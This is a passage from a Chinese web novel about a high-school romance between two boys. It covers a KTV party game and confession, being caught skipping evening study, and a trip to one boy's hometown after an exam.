季杭低低地“啊”了一声。
司云起拿过曹书望手里的黑子盒，把它放到季杭手边，然后自己拿了季杭的白子盒，说：“你先。”
季杭：“……？”
过了两个课间，司云起被黄侯叫走了。路柯神神秘秘拉着季杭和曹书望出教室，泄露消息：“你们绝对猜不到今天拽哥问我什么了！”
听到是司云起的事情，季杭忽然有点紧张。
“他竟然问我，喜欢是什么感觉，后来还问我该怎么追人！”
季杭提起的心猛地沉了下去，一片死寂。
“然后呢然后呢？”曹书望问。
“然后我就告诉他了啊，不过话说回来，”路柯晃了晃季杭的肩，“你俩到底闹没闹矛盾啊，他刚开始问我的时候，我说让他问你呗，你俩那么熟，他竟然说问你就是有病。”
季杭眨了下眼，接下来的话都不想听了。他拿开肩膀上的胳膊，正要走。
“不过他追人应该不顺利，”路柯说，“因为他好像已经引起那女生的反感了，我和他说追人要投其所好……”
后面的话季杭没有再听，他吞咽了口空气，胸口闷得厉害。
投其所好……
司云起喜欢的是方如星么，所以才会帮她擦黑板，帮她分发卷子。
要是班里的人他都认识，是不是就会把所有试卷发了。
季杭呆滞地往教室走，不经意蹭到了别人的肩也没反应。
他不知道自己该有个怎么样的反应，本来他一直安慰自己司云起夺走情书并不是喜欢那个女生，现在路柯的话却让他的最后一点希望也破灭了。
“季杭。”
“季杭。”
司云起在他身后叫了好几声，这人都没有反应。
司云起快步走上前，拉住季杭的手腕，“你没有听到我叫你么。”
就像是触发了自我保护机制，因为不想难过，季杭的意识有点迟钝，什么话也听不进去。
表情又不对劲了，司云起看着季杭的脸，心想，就算他厌恶自己的触碰也不会松手。
他们僵持了一分多钟，还是季杭先开口。
他声音很轻，说了句无关痛痒的话。
“司云起，你手里是什么。”
“假条，”司云起说。
“哦，”
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季杭垂着眸光，看到是两张假条。
他不顾手腕还被司云起攥在手里，径直往教室走。偏偏是司云起担心拽疼了他，主动松了手。
有人悲就有人喜。
路柯鼓起勇气自己去表白了，很成功。激动的他叫了好几个亲近的朋友晚上去唱歌。
季杭趴在桌子上睡觉，路柯索性去问司云起，反正他们两个住一块。
“拽哥，你和季杭也来啊。”
司云起打算拒绝，忽地意识到，也许不能只一味的追逐物极必反，也要投其所好。而季杭，应该挺喜欢这类场合的。
“好。”
高一的学生下晚自习要早些，路柯千算万算，没算到女生还要回宿舍签到。
她这一签到，在宿管的严格把控下，就没能再出去。
ktv大包里，就七八个人，显得空荡荡的。
王洋还有点担心：“翘了一节晚自习，不会被发现吧？”
“别乌鸦嘴，”曹书望说，“今天班长学委都在这儿呢，你猜他们为什么在。”
“好吧好吧，我知道皇后今天有事没在学校，但值班的老师……”
“你都出来了，别想那么多了OK？”
路柯端起一杯酒，清了清嗓子，“今天呢，大家相聚在这里，是为了庆祝我表白成功，虽然女主角没能出来。但今天是美事一桩，来来来，端酒端酒，喝！”
他目光掠过别人，停留在司云起身上时，补充道：“拽哥，祝你也早日追到，到时候再庆祝一场。”
季杭闻言动作一僵，刚拿起的酒被洒出来大半。
司云起一手拿纸，另一只手扶着季杭的手，给他擦手心里的酒水。
曹书望把酒咽下去，眯眼看着这一幕，恍惚间想起上次他们四个人时，季杭也是洒了点酒在手上。但那次司云起只是把纸递给了他……
这个小插曲并没有引起别人的注意，难得出来聚一次，他们很快放嗨了，有人唱歌，有人玩游戏。
季杭靠着沙发玩手机，始终没有融入进去。
他身边的司云起更甚，手机也不玩，就坐在他身边看着他。
还是曹书望看不下去，提议全场一起玩游戏。
曹书望去要了副牌，从里面抽出一张。
“嘴对嘴用纸牌传面粉”
“这个好玩，但哪来的面粉啊，”楚云说。
“确实没有，要不换别的？”
“换什么？”
路柯看到桌上的薯条，指着说：“那就薯条？谁传不下去就完成一项大冒险。”
“这把肯定全员大冒险，”李锐说，“你这馊主意，一根薯条谁会传着吃啊。”
他这边话音刚落，就见一堆人目瞪口呆地看向同一处——
只见坐在最边上的司云起已经拿了根薯条，用牙轻轻咬着，探身缓缓贴近了季杭。
季杭还没反应过来发生了什么，旁边的人突然开始说：“接啊季杭，用嘴接。”
在别人的催促声中，季杭反倒更犹豫了。
他往后靠了靠，同一时刻，司云起的手搂在了他后颈。
力道稍重，季杭被他控制着，看着两人越来越近的距离，不可控制地合上眼。
直到他能感受到司云起的鼻息，忽地听到司云起哄诱而小声的话：“季杭，张口。”
季杭后颈一阵酥麻，他紧闭的唇刚泄了道缝，司云起咬着的薯条就送了进来。
围观的人大声唏嘘，“哎呦季杭嘴里的薯条就那么短了，这让他怎么往下传。”
季杭茫然地转头，在起哄声中看到坐在他旁边的人，是李锐。
“哈哈哈哈哈往右传不传啊季杭，快点决定。”
“薯条不过两厘米了吧，季杭肯定不传，准备让他大冒险吧。”
司云起就在这样的声音中站起身，从季杭左边走到他右边。
因为没有坐的位置，他便站在季杭和李锐中间。在别人都匪夷所思时，他捏住季杭的下巴，俯身。
嘴唇很轻地碰到了季杭的，司云起咬住薯条，察觉到这人齿关没松。
他的拇指蹭了下这人的嘴角，让自己顺利咬过最后一截薯条。
而后他继续着俯身的姿势，看着季杭茫然却不排斥自己接触的眼神，兀自笑了。
“薯条在我这儿传不下去了，”司云起转身时目光很淡，又带着几丝不易察觉的笑意，“什么大冒险？”
73.【标题又想不出来了】
当司云起被戴上眼罩时，季杭还久久没能回过神来。
刚才……
司云起的嘴唇，好像碰到了他的。
季杭抬起手，又轻又慢地蹭了下自己的嘴角。
“愣着干嘛，”曹书望多余地在司云起眼前晃了晃，确保他什么也看不到，转头看到还坐在沙发上的季杭，“快过来呀。”
大冒险是楚云抽出来的牌，要在场的人站成一排，司云起蒙住眼，随机站在其中一个人面前深情表白。
听完后司云起没有异议，他接过眼罩，目光落在还处于怔愣中的季杭身上，说：“蒙着眼怎么知道自己表白的人是谁。”
曹书望：“哥？你这意思，还打算挑个人表白？”
司云起很淡地嗯了一声。
或许是他没什么表情，又可能是他的音节太轻。听起来就成了句无关痛痒的话。
“那这样吧，你蒙着眼，我们都把手伸出来给你摸，你摸手来挑人表白。”曹书望说。
“好。”
季杭被曹书望拉到最边上，曹书望要说开始时，突然想起，指挥站成一排的人：“咱们都换换位置哈，刚才他没戴眼罩的时候咱们就这个站位。”
来回走动的脚步声在音乐中并不明显。起初季杭没有动位置，别人都换了个位置后，曹书望拍了拍他的肩，小声说：“你也换，你去那边。”
别人之间都没有空隙能挤进去，季杭又站在了另一个边缘。
“好了，”曹书望说。
“哎呦等下，”王洋突然站出来，“我尿急。”
？
王洋边摆手边往门边走：“其实刚才就很急，现在更急了，这游戏有没有我参与也一样，毕竟拽哥又不会和我表白。”
路珂说了句：“他蒙着眼睛呢，万一你在这儿就选中你了呢。”
王洋已经打开了门：“不了，拽哥拉着我这个男生表白，不敢想。”
“少他一个也不会怎么样，”曹书望说，“去吧你。咱们继续，都把手伸一下哈。”
一排人齐刷刷地抬了只手。
司云起很慢地找着方向，走了几步后手碰到了墙面。他知道找对了，继续试探着去找人。
视觉里一片黑暗，伸出去的手盲目地寻找。
寻找，他要表白的季杭。
脚步平衡挪了两下，手再探寻时，碰到了有点凉的手背。
司云起的动作顿住。
他碰到的那只手也一动不动，任他贴在手背上。
时间恍若静止了。
季杭喉结滚动了两圈，看着眼前的司云起。
他不知道司云起为什么止于这样简单的触碰，可又不甘心于他这样碰一下就去找下一个人。
兴许是他的心理作用，在疑惑和不甘心的同时，他竟然还能分心去想。
司云起，你已经碰过我的嘴唇了，还会用这只手去碰别人的手么。
忽地，季杭察觉到司云起的手动了下，似乎是要离开。
他垂着眼皮，胸口闷的厉害，看着司云起一点一点离开。手背蓦然挤进来空气，将那处皮肤染凉。
要去找下一个人了么。
季杭识趣又不甘心地收回自己的手，因为矛盾的情绪，导致他动作很慢。
就在他和司云起最后一点相触也分开时，司云起猛地攥住了他的手腕。
季杭诧异地抬眸，只听到司云起说：“别走。”
下一秒。
司云起攥紧了他的手腕，眼睛被蒙着，只露出高挺的鼻梁和好看的嘴唇，说：
“喜欢你。”
时间突然变得特别快，仿佛是要把刚才静止的那瞬间补回来一样。
还不待季杭有什么反应，旁边的起哄声就起来了。
“刚才我们都白换位置了，你还不是随便找了站第一个的人就表白了。”
“不愧是你拽哥，我竟然还畅想了你摸所有人的手哈哈哈。”
“这才是他的性格嘛，嫌麻烦。”
“王洋刚才还说不敢想象你拉着男生的手表白，他错过了一场好戏哈哈哈。”
……
季杭也在他们的话里逐渐找回理智——
司云起当时之所以会接下他的薯条，是因为他旁边的人是方如星。
现在会拉住他的手，大概也是因为懒得在这些人中分辨出哪个是方如星，就随意选了第一个碰到的人。
“司云起，”季杭觉得他有必要提醒司云起，现在是自己站在他面前。
司云起并没有松开季杭的手腕，只是用另一只手摘下眼罩，看着季杭的眼睛说：“嗯。”
他仅凭手背就能确定的喜欢，就这样简单的交付在这个简单的音节里。
门猛地被推开，王洋慌张地跑进来拿他的衣服和书包，说拿边说：“快跑啊！我刚上厕所出来遇到娘娘了！”
？
？？
？？？
“谁？你说谁？”
王洋已经冲到门口了：“我看到她就赶紧跑回来了，不确定她有没有看到我，别愣着了，快跑啊！”
他推开门，声音更急了：“完了，真看到我了，真过来了！”
瞬间，包间里的人纷纷逃窜。
别人都还在大声说“我的书包”“等等我”“别留我一个人送死啊”，司云起已经拽着季杭跑出了包间。
电梯都用不着，他们几步跨下台阶，在黄侯警告的声音中消失的无影无踪。
直到跑出ktv一条街后他们才停下来。
季杭回头看了一眼，有刚刚跑出来的，还有几个应该是被堵在包间里了。
“完了，”曹书望拍拍胸口，“真是吓死我了。谁没出来啊？”
“李锐，嗯，楚云，还有方如星。”
“漂亮。”路珂说，“班长，学委，纪律委员。咱们明天完了。”
“没事，”路珂边走边说，“他们三个先死一步，明早咱们跟上。”
“死不可怕，等死才可怕，早知道现在这样，我干脆留在包间里等着娘娘抓了，”曹书望叹了口气，“也不知道明天等待我们的会是什么。”
“叫家长还行，顶多是我爸打我一顿，痛一下完事儿。可别罚打扫卫生，每次罚这个都是半个月起步，我可顶不住。”路珂双手合十，突然又说，“我女朋友没出来是对的，这是天注定，不然她跟着我逃命也太狼狈了点。”
“您先关心关心被娘娘堵住的三个人吧，咱们还好点，她们仨个个有官职在身，简直是罪加一等。”
也是。
季杭用力抽回自己的手腕，状若不在意般，说：“你不担心她们么。”
“为什么担心她们，”司云起路也不走了，盯着季杭的表情。
虽然他把班里的名字都背下来了，但和人还对不上号，听曹书望和路珂的对话，被堵住的是两个女生一个男生。
季杭这样问，难道他喜欢的人在这两个女生之中么。
他试图从季杭的表情中看出点什么，然后又听到季杭说：“方如星也被堵住了。”
司云起更不爽了，他直白道：“那是谁？”
一瞬间，季杭的表情从拧巴到震惊到……开心？
季杭追问：“你不知道方如星是谁？”
司云起臭着脸，说：“你很关心她？”
“你、”许是太紧张，季杭喉间哽了一下，他停顿两秒才继续道，“你当时站在我和方如星中间，吃了……不是，接了我嘴里的薯条。”
司云起倒是真没注意季杭旁边的人是谁，是男是女不重要，因为他不会让季杭和他以外的人有这样的接触。
“哦，没注意。”
司云起看起来不像是说谎的样子，他是真的不知道方如星是谁？
那他也是真的不喜欢方如星？
“那你为什么还要接我咬的薯条？”季杭脱口而出。
司云起瞥了他一眼，听着季杭像是质问的意思。
怎么，这是要埋怨自己破坏了他和那个女生接触的意思么。
司云起木着脸：“想吃薯条，不行么。”
确定了，司云起不喜欢方如星！
季杭瞬间就扬起眼梢，主动递上自己的手：“行，那…”他支吾，“你还要不要攥着我？”
边走边说话的路珂和曹书望见后面俩人迟迟没跟上来，好奇地回头看。这一看，俩人都惊到了。
只见季杭笑呵呵地抬起手送到司云起手边，下一秒，司云起面无表情地攥住了季杭的手腕。
这两个人走过来和自己擦肩的时候，季杭无比愉悦地说：“拜拜，明天见！”
明
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天见面就是送死你这么高兴合适吗？？？
回到家后各回各房间，之后季杭哼着歌在房间和客厅中游走，把季满谦搞得也很奇怪。
但高三生是这样的，就比如昨晚上回来的季杭还是风雨欲来的惨淡面容，今天又换了个脸。
正常。
无比正常。
季满谦边猜这小子明天的脸色边往房间走。
没一会儿，季杭收拾完开始写作业，写完后已经一点半了。
他刚要爬上床，门突然被轻轻叩响。
他走过去打开门，和搬着山楂树的司云起四目相对。
季杭：“？”
司云起语气平静：“晚上我房间不利于山楂树的生长。”
季杭：“？？”
司云起继续平静：“所以搬到你房间来。”
季杭：“？？？”
他们僵立片刻，季杭抬手要抱山楂树，“那放我这儿好了。”
司云起侧了下身，语气开始不平静了：“鉴于你有偷山楂树的前科在，我不能让你们共处一室。”
季杭：“？？？？”
“它进来，我也要进来，”司云起语气理所应当。
好像有点对，又好像哪里不对。
季杭把门大开，迟疑间已经让司云起进了自己的房间。
司云起把山楂树放在山楂树，看了眼他的床，说：“我睡外面，你睡里面。”
“好……”季杭说，“你去拿你的被子？”
司云起站在原地：“为什么。”
季杭：“不然你盖什么？”
司云起帮他回忆：“昨晚你在我床上睡，我没有让你回来拿你的被子。”
“……好好好。”季杭彻底被他带着走了，“你盖我的。”
“你呢，”司云起问。
“我也盖我的，”季杭说完意识到不对，“我不盖也行。”
“要盖，昨晚我没有因为你盖了我的被子就不盖了，”司云起又说。
“盖盖盖，”季杭说。
司云起满意了，“那就和我盖一张吧。”
季杭：“好。”
等下、
哪里不对？
两个人各怀心思，睡了一张床，盖了一张被子。
起初季杭一动也不敢动，司云起睡在他左边，他躺的笔直，手里还抱着个很旧的小狗玩偶。
自打刚进这人房间时司云起就注意到了这个玩偶，看起来很旧了，但被很妥帖地放在季杭枕头边。现在季杭睡觉还要牢牢抱着。
司云起竟然吃起了玩偶的醋。
不过没关系，早晚有一天，季杭会撇开那个玩偶，转而抱着他。
入睡的前一秒，季杭依旧笔直，忽地想起当初曹书望的形容，说他直得像根蜡。
现在应该也很像……
再醒时伴随着闹钟。
季杭合着眼睛，照例要打几个滚才能起床。
突然有点打不动。
嗯？怎么感觉不是睡在床上，倒像是睡在……
他困难地睁开眼睛，和也刚刚睁眼的司云起对上视线。
茫然几秒后，他保持不动，移开视线——
自己怀里有小狗玩偶，但问题是，小狗玩偶被夹在他和司云起胸口中。
挤变形了！
而他整个人趴在司云起身上，腿还缠绕着司云起……
起猛了。一定是起猛了。
季杭闭上眼又睁开，还是一样的姿势。
很好。
还是弯得像蚊香般缠在了司云起身上。
季杭默默起身远离，心想，司云起，不管你信不信，只有和你一起睡我才会弯的像蚊香。我真的也和别人一起睡过，夏令营的时候房间床铺不小心被水洒湿了，或者出去旅游睡一个帐篷……和别人在一起我真的直得像根蜡。
司云起也没有说什么，很平静地坐起身，被子搭在腰腹。
两个人面面相觑了足有五分钟。
谁也消不下去。
……
最后季杭怕露馅，转身下床直奔洗手间。
幸好他睡里侧，去洗手间的路上不需要面向司云起。
等他进去后关上门，司云起下床回了自己房间。
浴室门被关上，淋浴声随着响起。
74.回家
“你俩迟到有瘾了是吧，外面站着。”
黄侯暴躁的声音响在楼道里，季杭和司云起无比娴熟地背靠墙面。
黄侯瞪了他们两个一眼，回到教室点名：“李锐，楚云，方如星，来办公室。”
被点的是他们三个，死的是溜走没被抓住的人。
曹书望偷偷摸摸走到后门探着脑袋，说：“娘娘最痛恨敢做不敢当的人，突然觉得昨晚还不如不溜。”
路柯轻轻拽他，“你还乱动，一会儿娘娘来了看到你这样，你死得更惨。”
曹书望很认真：“我觉得咱们坦白从宽吧，他们三个已经被叫走了，一会儿娘娘就来抓我们了。”
路柯：“真的？”
“主动站外边儿，”曹书望说，“诚恳一点认个错，娘娘看我们态度积极没准能网开一面。”
“让一下，”司云起对堵着后门的曹书望说。
“他咋还自己进去了？”曹书望好奇道。
季杭摇摇头，他也不知道。
司云起很快就出来了，手里拿了一摞书。
但其中只有一本是他自己的，剩下的都是从季杭桌上拿的。他先递给季杭一本物理题，“做每套试卷的多选题。”
季杭：？
司云起拿着剩下的一摞书，面无表情：“快做，做完还有英语完形填空。”
“这好像是你的易错题，”曹书望凑过去看，“杭，你打算干啥，冲刺第一吗？”
季杭学着他的语气，问：“起，你是想要我冲刺第一吗？”
司云起：“嗯。”
“那季杭可不止这俩，他语文作文分也不高。”曹书望看热闹。
季杭：“望，闭嘴。”
他实在担心司云起下一秒就拿出作文格让他写作文。
几率很小，但绝不为零。
“哎呦卷起来了，”曹书望对路柯说，“咱也回去拿书。”
“行吧，都拿着书出来啊，”路柯喊上另外溜走的人，齐刷刷站到了外面。
整个走廊里就这班外面站了人，还有五六个。
主任正转呢，冷不丁看到他们几个，皱起眉头走过去，“站外面干什么？”
季杭手里还捧着物理题，听到主任问，说：“做题。”
“怎么站外面？犯事儿了？”
要是娘娘还好，当着教导主任这个大魔头的面儿，他们哪敢承认是因为前晚翘了晚自习去ktv被娘娘抓住所以在这负荆请罪请求坦白从宽，连忙道：“坐在教室里担心犯困，就主动站在外面写题。”
“嗯，”主任满意地点点头，继续走了。
曹书望呼了一口气，杵杵季杭，“你们俩今天怎么又迟到了。”
季杭“啊”了一声，心想自己迟到是有原因的。他转头问司云起：“你今天怎么也从房间出来那么晚？”
洗了个冷水澡的司云起看向他，“你出来的也不早。”
季杭：“我是有原因。”
“什么原因，”司云起问。
“……”季杭干巴道，“我忘了。”
“你俩不会是怕娘娘惩罚不敢来吧，”路柯试图进行临死前的活跃，“以前你可没迟到过啊季杭。”
“怎么可能是怕娘娘，”季杭说，“我今天晚来是因为……”
司云起也一直看着他。
季杭心一横，反正没人能听懂，对着司云起说：“因为你。”
司云起：“昨晚让你没睡好？”
季杭：“……”
旁边的一堆人拿着题：“……？”
季杭反问：“你今天也很晚啊。”
司云起看着他：“嗯，因为你。”
虽然司云起的意思可能只是表面上的因为自己，毕竟自己都睡人家身上去了。
但转过头的时候，季杭的耳朵还是悄悄红了。
早自习过了一半，黄侯领着三个人过来了。
见站着的人多了几个，她停下，问：“你们站在这里干嘛。”
曹书望主动承认错误：“娘娘，我们错了，昨晚我们不该溜走，我们……”
黄侯身后的三个人闻言使劲对他摆手势。
曹书望看不懂，声泪俱下：“昨晚实在是恐惧您的威严，实际上跑了我们就后悔了，所以今天早上特意站在门外等您处置。”
李锐昏厥。
楚云翻白眼。
方如星皮笑肉不笑。
黄侯着实没想到，她扫了站出来的这几个人一眼，又看向季杭和司云起。
曹书望：“他们两个……”
“我知道，不用你说，”黄侯道，“昨晚除了堵住他们三个，我就只看清了季杭和司云起。”
一个个猴精猴精的，跑出去还知道拿校服外套包着头，逃窜的样子又慌忙，黄侯哪里看得清谁是谁。
唯独两个人——
司云起拉着季杭，不仅没护头，跑出包间时还和她对了个视线。
然后头也不回的跑了。
“你们几个我是真意外，”黄侯对站出来的人说。
？
这话什么意思。
黄侯指了指身后三个人，“他们三个，没出卖你们。”
“……”
“我过来是打算叫季杭和司云起的，”黄侯都要气笑了，过了几秒后重新板回脸，“一块过来！”
“……”
喜提检讨一份，值日半月。
曹书望算了算，对季杭说：“没事儿，马上国庆休息了，算起来值日天数没多少。”
“想得美，”李锐提醒，“国庆就放三天假，而且娘娘罚值日，向来是把节日撇出去的。”
“季杭，”黄侯突然出现在教室后门，点了点季杭的肩膀，“你跟我过来。”
办公室里，黄侯问季杭：“你自己也愿意，是吗？”
一句话直接把季杭问懵了，“啊？”
“就云起那事儿，”黄侯说，“你是自愿的吧？”
啊？？？
不是。
是有什么发生在他身上的事情背着他发生了吗？
但关于司云起，季杭难免有点紧张，又担心说错话，只能依据黄侯的意思，回答：“……是。”
“行倒是行，”黄侯说，“就是我得去见见你家长。”
还要见家长？
黄侯轻叹气，“你不用紧张。云起天天和你在一起，应该也和你提过吧，其实我是他小姨。不是家访，就是以小姨的身份去见见你家长。”
季杭脑袋里嗡的一声。
司云起小姨要见自己爸爸？
这……？
“那就这样，今晚你家长在家吗？晚饭的时候我去一趟。”
“不是，”季杭彻底搞不明白了，“老师，您见我爸是要做什么？”
“聊聊云起考试的事情，再谈谈你这个请假。我确实答应云起了，但这事情还是得和你家长商量一下。”
请假？这又是什么。
季杭忽地想起上次看见司云起手里的假条，他记得是两张。那……其中有一张是自己的吗。
黄侯继续道：“虽然说月底的考试你考第一就准假，但你这样又迟到又翘课，不行啊，考第一也不批。”
季杭好像能串起来了。
前几天司云起从办公室回来手里拿了两张请假条，其中一张是自己的。
他给自己请了假，但前提是自己要考班里第一。
所以早上才会让自己做易错题型。
这……
不知道怎么说。
司云起给自己请了假，看样子是想和自己出去。
这挺好的。
但他没跟自己商量，打什么考第一的包票！
他请的假，为什么他不考第一！
自己什么人啊，这什么班啊，他这两年多最好的成绩也就第二。
算了。
谁让他是司云起。
忍了。
季杭起誓：“老师，我这次月考一定能考第一，还有，我再也不迟到了，也不打架，更不翘课！”
黄侯：“行了，把你家地址给我，晚上我带你回去，家访完再给你接回学校继续上晚自习。”
季杭写下小区名字和地址，交给黄侯。
黄侯看了一遍，抬头说：“行，你先回教室吧。等等、”
她低回头，把小区名和地址又看了一遍，包括单元和门牌号，不可思议道：“你有没有写错？”
这个反应搞得季杭也有点怀疑自己了，他凑过去看，“没错啊，我都住了十几年了，怎么可能写错。”
“好，”黄侯又盯着地址，“你回教室吧。”
季杭刚出办公室，门口站着司云起，手里还拿着物理卷。
“早上你做的多选题，错了三道。”司云起说。
三套题才错了三道，不多吧也。季杭无语道：“司云起，你给我请假没和我商量就算了，打包票说我考第一还这么算了？”
司云起拿起的试卷又垂下去，“考不到第一么。”
季杭蹙眉，心说你怎么不考一个试试。
“我以为你可以的，”司云起转过身，“请了国庆四天假，想让你陪我回趟老家。”
季杭：？
司云起脚步还没跨出去，季杭已经夺过他手里的物理卷，“竟然错了三道！我马上回去重新算！区区第一，这算什么。”
……这算废了老劲了。
季杭抓紧了一切时间，下课觉也不睡了，甚至晚上黄侯去家访时，他耳朵里还听着英语听力。
所以并没有注意到黄侯在去他家的路上，脸色有点奇怪。
包括进到他家里时，黄侯四处看了一圈，指着季杭的房间问：“那间是云起在住吗？”
季满谦给她倒了杯水，说：“不是，那是季杭的房间，”他指着另一边，“这是云起的房间。”
黄侯点点头。
季杭没心思听他们说什么，回到自己房间去刷题了。客厅里黄侯和季满谦聊了半个多小时。
临走时，黄侯看季杭房间门半开着，站在外面瞧了半分钟，说：“你也别回去上晚自习了，就在家吧。”
季杭蹭的一下站起来，“不行，我得回学校。”
见他坚持，黄侯又带他回了学校。
在路上，她意有所指地说了句：“季杭，你跟云起还挺有缘的。”
季杭乐意听到这话，抬脸笑道：“谢谢老师。”
黄侯：？
就说你俩有缘而已，有什么好谢的。
季杭之所以回学校，纯属想和司云起一块回家。
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但他回家的一路上也不安生，司云起竟然让他背了一路单词！
天杀的，甚至晚上洗澡的司云起还让他在浴室里听英语！
但该睡觉的时候，司云起又搬着山楂树过来了。
理由依旧是昨晚那个，也依旧没带被子。
季杭让他进来，继续伏案写错题。
时间过了两点半，季杭坚持不住，想着就趴桌上睡十分钟，然后再看几篇作文就睡。
结果他这一趴就没再清醒，司云起把他抱到床上他也没察觉。
只记得似乎是做了个梦。
梦里司云起给他盖上薄毯，俯身凑近，细细地看了他很久，而后警告又温和的声音响在耳边：
“考到第一，和我一起回老家，记住了么。”
不光那晚记住了，之后季杭每次犯困，脑子里就自动响起司云起那句话。
他全部精力都放在学习上了，忽略也适应了司云起每晚搬着山楂树到他房间里、早上再搬着山楂树离开的举动。
直到月底的到来。
季杭有生以来第一次搞了个玄学，整了个九宫格，写上“492357816”，考试当天把耳朵搓热。
“我一定能考第一，”季杭对司云起说。
“嗯，”司云起看着这人自己搓红的耳朵，没忍住，抬手碰了下。
季杭缩了缩，瞬觉耳朵更烫了。
早知道直接让司云起碰一下好了，省的自己搓那么久，耳朵估计都被搓大了。
“等着吧，”他们两个不在一个考场，季杭倒退着走，笑容干净纯粹，眸底很亮，挑了下眉，说：“拿到第一，跟你回家。”
一天半后，成绩出来。
季杭班级第一，年级第一。
看到成绩时，季杭被几个人围住。
曹书望和路柯哇哇大叫，还有人说这么难的题他怎么考分那么高的。
季杭仔细看了看司云起的分数。
其实他刚拿到成绩单时就先看了司云起的名次。
是第七名，各科成绩很均衡，不偏科。刚转来需要适应这里的学习进度和试卷难度，这个成绩很不错了。再过一个月，前三名肯定能有司云起一个位置。
那和司云起考一所大学，好像也可以呢。
在一片喧嚣声中，季杭的视线穿过人群，准确对上司云起的目光。
他很拽地扬了下成绩单，明明一个字都没说，却又像是在大声地说：
司云起，带我回家啊。
如他们愿，黄侯真正批给了他们假。
季杭好奇地问：“娘娘现在才给我们假，你之前拿的两张假条是什么？”
司云起说：“空的。”
“空的？”季杭问，“她为什么会给你空的假条。”
其实不止季杭。
司云起为了拿到假条，先是保证自己能考进班里前十。但也只能批给他自己假，要想请下季杭的，他只能以季杭考第一为筹码。
所以这些时间，他也废了老劲。
之前大半年没学，进度赶不上这边，省理班又是高手云集，他做梦除了想办法让季杭对自己“物极必反”，就是写题。
甚至有次梦到自己钳制着季杭的脖颈，看着他耳侧的红蔓延到锁骨上，在他的挣扎下不断贴近，彼此的鼻息交融间，暧昧氛围拉满。下一秒，他在季杭耳边说：
“这道多选答案是AC，你为什么选BD。”
醒来他觉得荒谬极了。
好在最后结果是好的。
别人三天假，他们七天。
票是提前买好的，十月一的票很难抢。在司云起去找黄侯请假前他就已经买好了两个人的，并且在很早就已经和季满谦商量过了。
出发这天，季满谦说：“我看了看，小司那边多雨，你们记得带两把伞，别淋到。”
“好的爸，你自己照顾好自己啊。”
“你放心，你们俩走了啊，我可是轻松了。”季满谦笑道，“快去帮着小司收拾东西，人家一个人收拾呢。”
等司云起提了两个包出来，季满谦没来由地说：“小司，回去处理完就回来。这也是你的家。”
司云起沉默了几秒，说：“好，谢谢叔叔。”
七个小时的高铁，司云起特意买了一等座，就为了季杭能舒服一点。
路上他担心季杭无聊，不仅带了零食，在他说困了的时候，竟然还从包里拿出来小狗玩偶和眼罩。
“？”季杭把小狗玩偶抱在怀里，“你拿它出来做什么，万一丢外面了。”
丢外面了以后睡觉就抱我。
司云起把眼罩给他戴上，冷漠道：“怕你晚上不抱着它睡不着。”
季杭讪讪：“好吧，那谢谢你。”
出站后还要坐大巴，但季满谦特意提了一嘴，说季杭晕车。
司云起就提前联系了徐不凡，这家伙有辆三轮，让他开着过来接他们。
三轮不能停在出站口，徐不凡停在街边，他们得走一条街。
挺久没见到司云起了，徐不凡靠着三轮等着，没多久，远远看到了司云起的身影。
但和以往都不一样的是——
司云起是个出远门连充电宝都懒得带的人。
这次回来，手里提着一个包，还带了个人。
75.玩偶
司云起口中的老家是个小县城。
房子是租的，很旧的小区，徐不凡就住在他家隔壁。
他们两个之所以能认识，全靠家离得近。
徐不凡是留守儿童，还有个弟弟。他父母带着他弟弟在外地工作，一年到头回不了家三次。但没亏待过他钱，每个月给他的生活费很足。
他多的钱都用来买球鞋键盘，后来攒了两个月，买了辆三轮车，心思没在学习上，只想着自己创业。
但三轮买了之后他想不出能用它做点什么，就一直闲置。第一次正经用上还是收到司云起的消息，破天荒头一次地让他来接。
司云起就说了车次到的时间，见着了他才知道，原来是两个人。
但这路口不能停太久，时不时有交警查。他们也没顾上寒暄，一路疾驰，路上的风声比说话声都大，试图说了两句的徐不凡灌了两口风，紧紧闭嘴不说话了。
到家后徐不凡才有时间看季杭。
看起来和自己差不多大，十六七岁的模样，肤色很白，眉眼生得很漂亮，挺鼻薄唇，下颌线流畅。
“司哥，这是？”徐不凡问。
季杭主动伸出手：“你好，季杭。”
“你好你好，”徐不凡握上去，笑着说：“徐不凡，司哥发小。”
司云起盯着他们两个握在一起的手，又瞥了眼季杭自然的表情，问：“还不松开么。”
季杭：？
徐不凡：？
刚握上啊哥，这是来哪出儿？
“走，”司云起拿过季杭手里的背包，跨过老旧的单元门，走进去。
一楼的两户，一户是司云起住了十几年的家，另一户是徐不凡的家。
司云起打开门，陈旧的气息扑面而来。他站在门口，恍惚间仿佛看到老人迈着蹒跚的步子把菜端上桌，笑盈盈地看向他，说：“回来啦。”
却也只是须臾，他迈进家门，像是什么情绪都没有一般。
季杭静静地站在他身后。
即便提前知道了司云起的情况，但真正站在这里，看着空荡的房子和孑然一身的司云起时，他还是觉得心很疼。
“你在这休息，”司云起转头对他说，“我去找房东。”
“我和你一起去，”季杭说。
“不用，”司云起态度很强硬，“用不了半小时我就回来，你在这等我。”
徐不凡也说：“司哥就是去找房东退租，办完后就回来了，我家就是对面，要不你去我家等？”
季杭摇摇头，说“不用”，又看向司云起，“我在这等你回来。”
司云起出去后，徐不凡并没有离开。
他好奇地盯着季杭看了会儿，在季杭转头看向他时，笑了声，说：“你和司哥认识很久了吗？”
“没有很久，”算起来也才两个月，季杭问，“怎么了？”
“没，”徐不凡很自然地坐到沙发上，“就觉得有点稀奇。没想到司哥竟然会带个人回来。”他玩笑道：“我还以为再见到司哥，是他带着女朋友回来看看呢。”
季杭没说话。
他忽然意识到，也许是之前的朝夕相处给了他错觉，让他以为他是司云起最熟悉的人。
可他现在所处的陌生环境，是司云起生活了十几年的家。
这一刻，他才真正明白，关于司云起他还是知道的太少了。
徐不凡看着他，问：“你站着不累么。”
季杭摇摇头。
“那你要不要去司哥房间里看看？你应该没来过吧？”徐不凡站起身，打开一个房间的门，走进去，说：“这就是司哥的房间。”
季杭站在门口，这间房很大，家具虽然旧，但什么也有。甚至书柜还有两个，一眼扫过去，没有课外书，全都是教材和课外题。书桌上摆着一个台灯，一张试卷，黑笔还随散地放在桌面上，仿佛彰显着它的主人只是临时离开，很快就会回来拿起它继续在台灯下埋头写题。
落满了灰尘，又证明着这是一场突然的分离。
是司云起和他唯一的亲人的匆匆告别。
季杭在怔忪间看过房间的每一角，听到徐不凡说：“司哥跟你提过没，我就住对面，和他一块儿长大的，现在这世界上不会有人比我俩还熟了。”
季杭自认这是事实，拿两个月去和十几年比，无异于以卵击石。
